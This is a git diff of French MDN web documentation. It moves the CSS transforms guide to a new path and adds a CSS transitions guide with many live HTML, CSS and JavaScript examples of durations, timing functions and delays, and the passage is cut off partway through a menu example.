Il est nécessaire d'avoir un contenu flottant pour créer une forme mais ce contenu peut tout à fait être généré grâce à la feuille de style. Dans l'exemple qui suit, on utilise un contenu généré qui est placé dans une disposition flottante, avec une image d'étoile pour créer la forme mais cette image n'est pas affichée sur la page.

+ +

{{EmbedGHLiveSample("css-examples/shapes/image/generated-content.html", '100%', 800)}}

+ +

Créer des formes avec un dégradé

+ +

En CSS, un dégradé est une image. On peut donc utiliser un dégradé afin de générer une forme.

+ +

Dans le prochain exemple, on utilise un contenu généré flottant dont l'image d'arrière-plan est un dégradé linéaire. On utilise la même valeur pour {{cssxref("shape-outside")}}. Le dégradé linéaire évolue du mauve vers le transparent. En modifiant la valeur de {{cssxref("shape-image-threshold")}}, on peut donc sélectionner le niveau de transparence nécessaire à la création de la forme. N'hésitez pas à modifier la valeur du seuil dans l'exemple suivant afin de voir le déplacement du contour en fonction du niveau de dégradé.

+ +

Vous pouvez également essayer de complètement retirer l'image d'arrière-plan afin d'utiliser uniquement le dégradé afin de créer la forme et ne pas l'afficher sur l'image.

+ +

{{EmbedGHLiveSample("css-examples/shapes/image/gradient.html", '100%', 800)}}

+ +

Dans l'exemple qui suit, on utilise un dégradé radial avec une ellipse et on utilise les zones transparentes du dégradé afin de créer la forme.

+ +

{{EmbedGHLiveSample("css-examples/shapes/image/radial-gradient.html", '100%', 800)}}

+ +

Vous pouvez éditer ces exemples interactifs afin de voir l'évolution de la forme en fonction des modifications.

diff --git a/files/fr/web/css/css_transforms/using_css_transforms/index.html b/files/fr/web/css/css_transforms/using_css_transforms/index.html new file mode 100644 index 0000000000..c33a7e3ac9 --- /dev/null +++ b/files/fr/web/css/css_transforms/using_css_transforms/index.html @@ -0,0 +1,83 @@ +--- +title: Utilisation des transformations CSS +slug: Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS +tags: + - 3D + - Avancé + - CSS + - Guide + - Mise à l'échelle + - Scale + - Transformations CSS + - perspective + - rotation +translation_of: Web/CSS/CSS_Transforms/Using_CSS_transforms +--- +
{{CSSRef}}
+ +

En modifiant l'espace des coordonnées, les transformations CSS permettent de changer la position d'un contenu affecté sans perturber le flux normal. Elles sont implémentées en utilisant un ensemble de propriétés CSS qui vous permettre d'appliquer des transformations affines aux éléments HTML. Ces transformations incluent la rotation, l'inclinaison et la translation à la fois dans le plan ou dans un espace 3D.

+ +
+

Attention ! Seuls les éléments positionnés selon le modèle de boîtes peuvent être transformés. Pour simplifier, on peut se souvenir que tout élément avec display: block est positionné selon le modèle de boîtes.

+
+ +

Propriétés des transformations CSS

+ +

Deux propriétés majeures sont utilisées pour définir les transformations CSS : {{cssxref("transform")}} et {{cssxref("transform-origin")}}.

+ +
+
{{cssxref("transform-origin")}}
+
Spécifie la position de l'origine. Par défaut, celle-ci est au centre de l'élément et peut être déplacée. Elle est utilisée par de nombreuses transformations, comme les rotations, les homothéties ou l'inclinaison, qui nécessitent un point spécifique pour paramètre.
+
{{cssxref("transform")}}
+
Spécifie la transformation à appliquer à l'élément. C'est une liste de transformations séparée par des espaces, qui sont appliquées les unes après les autres, comme requis par l'opération de composition. Les transformations qui sont composées entre elles sont appliquées dans l'ordre, de droite à gauche.
+
+ +

Exemples

+ +

Voici une version originale du logo MDN :

+ +

MDN Logo

+ +

Rotation

+ +

Ici, on le tourne de 90 degrés depuis le coin inférieur gauche :

+ +
<img style="transform: rotate(90deg);
+            transform-origin: bottom left;"
+     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png">
+
+ +

{{EmbedLiveSample('Rotation','auto',240)}}

+ +

Distorsion et translation

+ +

Ici, on applique une distorsion de 10 degrés et on translate l'image de 150 pixels sur l'axe des abscisses :

+ +
<img style="transform: skewx(10deg) translatex(150px);
+            transform-origin: bottom left;"
+     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png">
+
+ +

{{EmbedLiveSample('Distorsion_et_translation')}}

+ +

Propriétés CSS spécifiques à la 3D

+ +

Réaliser des transformations CSS dans l'espace est un petit peu plus complexe. Il faut d'abord définir l'espace 3D en lui donnant une perspective, puis il faut configurer le comportement des éléments 2D dans cet espace.

+ +

Définir une perspective

+ +

Le premier élément à définir est la perspective. La perspective est ce qui donne l'impression de troisième dimension. Plus les éléments sont loin de l'observateur, plus ils seront petits.

+ +

{{page("/fr/docs/Web/CSS/perspective", "Trois cubes", 0, 0, 3)}}

+ +

Le deuxième élément à définir est la position de l'observateur grâce à la propriété {{ cssxref("perspective-origin") }}. Par défaut, la perspective est centrée sur l'observateur.

+ +

{{page("/fr/docs/Web/CSS/perspective-origin", "Cubes avec des valeurs communes pour perspective-origin", 0, 0, 3)}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_transforms/utilisation_des_transformations_css/index.html b/files/fr/web/css/css_transforms/utilisation_des_transformations_css/index.html deleted file mode 100644 index c33a7e3ac9..0000000000 --- a/files/fr/web/css/css_transforms/utilisation_des_transformations_css/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Utilisation des transformations CSS -slug: Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS -tags: - - 3D - - Avancé - - CSS - - Guide - - Mise à l'échelle - - Scale - - Transformations CSS - - perspective - - rotation -translation_of: Web/CSS/CSS_Transforms/Using_CSS_transforms ---- -
{{CSSRef}}
- -

En modifiant l'espace des coordonnées, les transformations CSS permettent de changer la position d'un contenu affecté sans perturber le flux normal. Elles sont implémentées en utilisant un ensemble de propriétés CSS qui vous permettre d'appliquer des transformations affines aux éléments HTML. Ces transformations incluent la rotation, l'inclinaison et la translation à la fois dans le plan ou dans un espace 3D.

- -
-

Attention ! Seuls les éléments positionnés selon le modèle de boîtes peuvent être transformés. Pour simplifier, on peut se souvenir que tout élément avec display: block est positionné selon le modèle de boîtes.

-
- -

Propriétés des transformations CSS

- -

Deux propriétés majeures sont utilisées pour définir les transformations CSS : {{cssxref("transform")}} et {{cssxref("transform-origin")}}.

- -
-
{{cssxref("transform-origin")}}
-
Spécifie la position de l'origine. Par défaut, celle-ci est au centre de l'élément et peut être déplacée. Elle est utilisée par de nombreuses transformations, comme les rotations, les homothéties ou l'inclinaison, qui nécessitent un point spécifique pour paramètre.
-
{{cssxref("transform")}}
-
Spécifie la transformation à appliquer à l'élément. C'est une liste de transformations séparée par des espaces, qui sont appliquées les unes après les autres, comme requis par l'opération de composition. Les transformations qui sont composées entre elles sont appliquées dans l'ordre, de droite à gauche.
-
- -

Exemples

- -

Voici une version originale du logo MDN :

- -

MDN Logo

- -

Rotation

- -

Ici, on le tourne de 90 degrés depuis le coin inférieur gauche :

- -
<img style="transform: rotate(90deg);
-            transform-origin: bottom left;"
-     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png">
-
- -

{{EmbedLiveSample('Rotation','auto',240)}}

- -

Distorsion et translation

- -

Ici, on applique une distorsion de 10 degrés et on translate l'image de 150 pixels sur l'axe des abscisses :

- -
<img style="transform: skewx(10deg) translatex(150px);
-            transform-origin: bottom left;"
-     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png">
-
- -

{{EmbedLiveSample('Distorsion_et_translation')}}

- -

Propriétés CSS spécifiques à la 3D

- -

Réaliser des transformations CSS dans l'espace est un petit peu plus complexe. Il faut d'abord définir l'espace 3D en lui donnant une perspective, puis il faut configurer le comportement des éléments 2D dans cet espace.

- -

Définir une perspective

- -

Le premier élément à définir est la perspective. La perspective est ce qui donne l'impression de troisième dimension. Plus les éléments sont loin de l'observateur, plus ils seront petits.

- -

{{page("/fr/docs/Web/CSS/perspective", "Trois cubes", 0, 0, 3)}}

- -

Le deuxième élément à définir est la position de l'observateur grâce à la propriété {{ cssxref("perspective-origin") }}. Par défaut, la perspective est centrée sur l'observateur.

- -

{{page("/fr/docs/Web/CSS/perspective-origin", "Cubes avec des valeurs communes pour perspective-origin", 0, 0, 3)}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/css_transitions/using_css_transitions/index.html b/files/fr/web/css/css_transitions/using_css_transitions/index.html new file mode 100644 index 0000000000..bbcdcb51e2 --- /dev/null +++ b/files/fr/web/css/css_transitions/using_css_transitions/index.html @@ -0,0 +1,1094 @@ +--- +title: Utiliser les transitions CSS +slug: Web/CSS/CSS_Transitions/Utiliser_transitions_CSS +tags: + - Avancé + - CSS + - Guide + - Transitions +translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions +--- +
{{CSSref}}
+ +

Les transitions CSS permettent de contrôler la vitesse d'animation lorsque les propriétés CSS sont modifiées. Plutôt que le changement soit immédiat, on peut l'étaler sur une certaine période. Ainsi, si on souhaite passer un élément de blanc à noir, on pourra utiliser les transitions CSS afin que cette modification soit effectuée progressivement, selon une courbe d'accélération donnée.

+ +

Les animations qui utilisent des transitions entre deux états sont souvent appelées transitions implicites car l'état initial et l'état final sont définis implicitement par le navigateur.

+ +

A CSS transition tells the browser to draw the intermediate states between the initial and final states, showing the user a smooth transitions.

+ +

Les transitions CSS vous permettent de choisir :

+ +
    +
  • les propriétés à animer en les listant explicitement
    • +
  • le début de l'animation
    • +
  • la durée de l'animation
    • +
  • la façon dont la transition s'exécutera
    • +
+ +

Quelles sont les propriétés CSS qui peuvent être animées ?

+ +

On peut définir les propriétés qu'on souhaite animer et la façon dont on souhaite les animer. Cela permet de créer des transitions complexes. Toutefois, toutes les propriétés ne peuvent pas être animées et la liste des propriétés concernées est limitée.

+ +

Note : La gestion de la valeur auto représente un cas complexe. La spécification requiert de ne pas animer une telle valeur. Certains navigateurs dont ceux basés sur Gecko respectent cette règle mais d'autres comme WebKit sont moins stricts. Attention donc lors de l'utilisation des animations avec auto.

+ +

Note : Attention lorsqu'on manipule des transitions directement après avoir ajouté un élément via .appendChild() ou en modiant display: none;. Cela sera compris comme si l'état initial n'avait jamais eu lieu et que l'élément avait toujours été dans son état final. Pour contourner ce problème, on peut appliquer window.setTimeout() pendant quelques millisecondes avant de modifier la propriété CSS sur laquelle on souhaite appliquer une transition.

+ +

Les propriétés CSS relatives aux transitions

+ +

Les transitions CSS sont généralement contrôlées grâce à la propriété raccourcie {{cssxref("transition")}}. Les différents composants d'une transition CSS peuvent être décrits dans le détail grâce aux propriétés détaillées suivantes :

+ +
+

Note : Dans les exemples ci-après, l'effet de répétition est uniquement utilisé à des fins de visualisation. Si vous souhaitez obtenir des effets visuels qui se répètent, il faudra utiliser la propriété {{cssxref("animation")}}.

+
+ +
+
{{cssxref("transition-property")}}
+
Cette propriété définit le nom des propriétés CSS pour lesquelles on veut appliquer des transitions. Seules les propriétés listées ici seront sujettes aux transitions. Les modifications appliquées aux autres propriétés seront instantanées.
+
{{cssxref("transition-duration")}}
+
Cette propriété définit la durée de la transition. On peut définir une durée pour toutes les transitions ou une durée pour chacuune des propriétés. +
+
+

transition-duration: 0.5s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 0.5s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transformv color;
+    transition-duration: 0.5s;
+    transition-timing-function: ease-in-out;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_0_5s", 275, 150)}}
+
+ +
+

transition-duration: 1s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
+    -webkit-transition-duration: 1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform color;
+    transition-duration: 1s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
+    -webkit-transition-duration: 1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 1s;
+    transition-timing-function: ease-in-out;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_1s",275,150)}}
+
+ +
+

transition-duration: 2s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 2s;
+    transition-timing-function: ease-in-out;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_2s",275,150)}}
+
+ +
+

transition-duration: 4s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration: 4s;
+    transition-timing-function: ease-in-out;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_4s",275,150)}}
+
+
+
+
{{cssxref("transition-timing-function")}}
+
Cette propriété définit une fonction qui décrit la façon dont les valeurs intermédiaires sont calculées. On utilise pour cela des fonctions de temporisation. +
+
+

transition-timing-function: ease

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: ease;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: ease;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_ease",275,150)}}
+
+ +
+

transition-timing-function: linear

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: linear;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_linear",275,150)}}
+
+ +
+

transition-timing-function: step-end

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: step-end;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: step-end;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_stepend",275,150)}}
+
+ +
+

transition-timing-function: steps(4, end)

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: steps(4, end);
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: steps(4, end);
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_step4end",275,150)}}
+
+
+
+
{{cssxref("transition-delay")}}
+
Cette propriété indique le temps à attendre entre le moment où la propriété est modifiée et le début de la transition. +
+
+

transition-delay: 0.5s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 0.5s;
+    transition-timing-function: linear;
+}
+
+.box1 {
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position: absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 0.5s;
+    transition-timing-function: linear;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_0_5s",275,150)}}
+
+ +
+

transition-delay: 1s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 1s;
+    transition-timing-function: linear;
+}
+
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 1s;
+    transition-timing-function: linear;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_1s",275,150)}}
+
+ +
+

transition-delay: 2s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 2s;
+    transition-timing-function: linear;
+}
+
+.box1 {
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 2s;
+    transition-timing-function: linear;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_2s",275,150)}}
+
+ +
+

transition-delay: 4s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 4s;
+    transition-timing-function: ease-in-out;
+}
+
+.box1 {
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 4s;
+    transition-timing-function: ease-in-out;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_4s",275,150)}}
+
+
+
+
+ +

La syntaxe de la propriété raccourcie {{cssxref("transition")}} est :

+ +
div {
+  transition: <property> <duration> <timing-function> <delay>;
+}
+ +

Exemples

+ +

Un exemple simple

+ +

Avec cette feuille de style, on opère une transition CSS sur la taille de police de quatre secondes après deux secondes écoulées lorsque l'utilisateur passe la souris sur l'élément :

+ +
#delay {
+  font-size: 14px;
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+}
+
+#delay:hover {
+  font-size: 36px;
+}
+ +

Appliquer une transition sur plusieurs propriétés

+ +

CSS

+ +
.box {
+  border-style: solid;
+  border-width: 1px;
+  display: block;
+  width: 100px;
+  height: 100px;
+  background-color: #0000FF;
+  transition: width 2s, height 2s, background-color 2s, transform 2s;
+}
+
+.box:hover {
+  background-color: #FFCCCC;
+  width: 200px;
+  height: 200px;
+  transform: rotate(180deg);
+}
+
+ +

HTML

+ +
<p>Cette boîte utilisera des transitions pour width, height, background-color, transform.
+   Survolez cette boîte pour voir l'effet.</p>
+<div class="box"></div>
+
+ +

Résultat

+ +

{{EmbedLiveSample('Appliquer_une_transition_sur_plusieurs_propriétés', 600, 300)}}

+ +

Le rôle de la taille des listes de valeurs

+ +

Si la liste des valeurs pour une propriété est plus courte qu'une autre, les valeurs de la liste la plus courte seront répétées pour que la longueur réelle corresponde. Ainsi :

+ +
div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s;
+}
+
+ +

Sera équivalent à :

+ +
div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s, 3s, 5s;
+}
+ +

De même, si la liste est trop longue par rapport à {{cssxref("transition-property")}}, elle sera tronquée. Ainsi,

+ +
div {
+ transition-property: opacity, left;
+ transition-duration: 3s, 5s, 2s, 1s;
+}
+ +

Sera équivalent à :

+ +
div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s;
+}
+ +

Utiliser les transitions pour accentuer les éléments pour un menu

+ +

On utilise parfois CSS pour mettre en avant les éléments d'un menu lorsque l'utilisateur les survole avec sa souris. On peut facilement utiliser les transitions CSS pour améliorer l'effet obtenu.

+ +

Tout d'abord, on définit le menu en HTML :

+ +
<nav>
+  <a href="#">Accueil</a>
+  <a href="#">À propos</a>
+  <a href="#">Contact</a>
+  <a href="#">Liens</a>
+</nav>
+
+ +

On construit le CSS pour définir l'apparence du menu :

+ +
a {
+  color: #fff;
+  background-color: #333;
+  transition: all 1s ease-out;
+}
+
+a:hover,
+a:focus {
+  color: #333;
